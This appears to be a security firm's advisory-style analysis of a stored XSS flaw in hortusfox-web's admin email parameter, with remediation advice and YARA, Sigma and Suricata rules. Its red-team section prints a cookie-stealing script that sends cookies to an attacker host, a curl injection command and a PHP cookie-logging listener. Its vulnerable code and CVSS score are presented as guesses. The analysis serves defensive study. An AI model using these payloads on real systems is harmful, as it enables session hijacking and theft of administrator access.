CVE-2025-45315

Executive Summary

CVE-2025-45315 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the hortusfox-web application, version 4.4. The flaw resides in the /controller/admin.php endpoint, specifically within the email parameter. An attacker can inject arbitrary JavaScript code into this parameter, which is then executed in the context of an administrator's browser session. This can lead to session hijacking, credential theft, defacement, or further compromise of the web application and its underlying infrastructure. The vulnerability is publicly known, but no official patch or advisory has been released by the vendor (Hortusfox) at the time of this analysis.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the application's source code. The risk is amplified if the application is deployed via container images or custom builds that include the vulnerable code.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, a reasonable assessment based on the description is:

• Attack Vector (AV): Network (N) – The attacker can send the malicious payload over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated to inject the payload.
• User Interaction (UI): Required (R) – The victim (admin) must visit the vulnerable page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., stealing admin session cookies).
• Confidentiality (C): High (H) – An attacker can steal sensitive data like session tokens.
• Integrity (I): High (H) – An attacker can modify the application's behavior or content.
• Availability (A): Low (L) – The attack could potentially disrupt the admin interface.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and targets the admin panel, which is a high-value target.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The email parameter in the /controller/admin.php endpoint is not properly sanitized or encoded before being stored in the database and later rendered in the admin interface.

Attack Flow:

1. Reconnaissance: The attacker identifies the target hortusfox-web instance and locates the /controller/admin.php endpoint.
2. Payload Injection: The attacker crafts a malicious payload, such as <script>alert('XSS')</script>, and submits it via the email parameter. This could be done through a POST request to the admin endpoint.
3. Storage: The application stores the unsanitized payload in its database (e.g., MySQL, SQLite).
4. Trigger: When an administrator accesses the admin panel (e.g., user management page), the application retrieves the stored email and renders it in the HTML without proper encoding.
5. Execution: The browser executes the injected JavaScript in the context of the admin's session.

Root Cause: Lack of output encoding and input validation on the email parameter. The application likely uses a function like echo $email; instead of echo htmlspecialchars($email, ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

// /controller/admin.php
$email = $_POST['email'];
// ... store $email in database ...
// Later, when displaying:
echo "<td>" . $email . "</td>";

Patched Code (PHP example):

// /controller/admin.php
$email = $_POST['email'];
// Sanitize input (optional, defense in depth)
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
// ... store $email in database ...
// Later, when displaying:
echo "<td>" . htmlspecialchars($email, ENT_QUOTES, 'UTF-8') . "</td>";

The patched code uses htmlspecialchars() to convert special HTML characters (like <, >, ", ', &) into their HTML entities, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A local instance of hortusfox-web v4.4 (e.g., using Docker or a LAMP stack).
2. Attacker Machine: Kali Linux or any system with a web browser and Burp Suite (optional).

Exploitation Steps:

1. Identify the vulnerable endpoint: Navigate to http://<target>/controller/admin.php.
2. Craft the payload: Use a payload that steals the admin's session cookie.

   <script>
   var img = new Image();
   img.src = 'http://<attacker-ip>/steal.php?cookie=' + document.cookie;
   </script>
   

3. Inject the payload: Submit the payload via the email parameter. This can be done using a simple HTML form or a tool like curl.

   curl -X POST http://<target>/controller/admin.php -d "email=<script>...</script>"
   

4. Set up listener: On the attacker machine, set up a simple HTTP server to capture the cookie.

   # steal.php (place in web root)
   <?php
   $cookie = $_GET['cookie'];
   file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
   ?>
   

5. Wait for trigger: When an admin accesses the admin panel, the payload executes, and the cookie is sent to the attacker's server.
6. Session Hijacking: Use the stolen cookie to impersonate the admin.

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP logs: Look for requests to /controller/admin.php with suspicious email parameters containing <script>, onerror, onload, or other JavaScript event handlers.
2. Analyze database entries: Check the database for stored XSS payloads in the email field.
3. Use WAF rules: Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the email parameter.
4. User education: Train administrators to be cautious of unexpected pop-ups or redirects.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /controller/admin.php with email parameter containing <script> tags.
  • Outbound connections from the web server to unknown IP addresses on port 80/443 (exfiltration).
  • Unusual Referer headers pointing to the admin panel.
• Host IOCs:
  • Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log showing the malicious payload.
  • Database entries in the users or admin table with JavaScript code in the email field.
  • Presence of files like cookies.txt or steal.php on the attacker's server (not on the target).
• File IOCs:
  • Suspicious JavaScript code in the application's database dump.

Detection Engineering

YARA Rule

rule Detect_Hortusfox_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-45315 in hortusfox-web"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45315"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss_payload_3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $email_param = "email="
    condition:
        $email_param and ($xss_payload_1 or $xss_payload_2 or $xss_payload_3)
}

Sigma Rule

title: Suspicious XSS Payload in hortusfox-web Admin Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against CVE-2025-45315
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/controller/admin.php'
        cs-uri-query|contains: 'email='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in email field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45315 - XSS Payload in hortusfox-web Admin Email Parameter"; flow:to_server,established; content:"POST"; http_method; content:"/controller/admin.php"; http_uri; content:"email="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the vulnerable instance offline or restrict access to the admin panel via firewall rules (e.g., allow only trusted IPs).
2. Apply input validation: Implement strict input validation on the email parameter. Use a whitelist approach (e.g., only allow valid email characters).
3. Apply output encoding: Ensure all user-supplied data is properly encoded before being rendered in HTML. Use htmlspecialchars() in PHP or equivalent functions in other languages.
4. Deploy a WAF: Use a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.

Long-Term Fix:

• Vendor Patch: Await an official patch from Hortusfox. Monitor their GitHub repository or website for updates.
• Code Audit: Conduct a thorough code review of the entire application to identify and fix similar vulnerabilities.
• Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.

Workaround:

• If patching is not possible, consider rewriting the vulnerable endpoint to use a templating engine that auto-escapes output (e.g., Twig, Blade).

Valters IT
Securing Digital Frontiers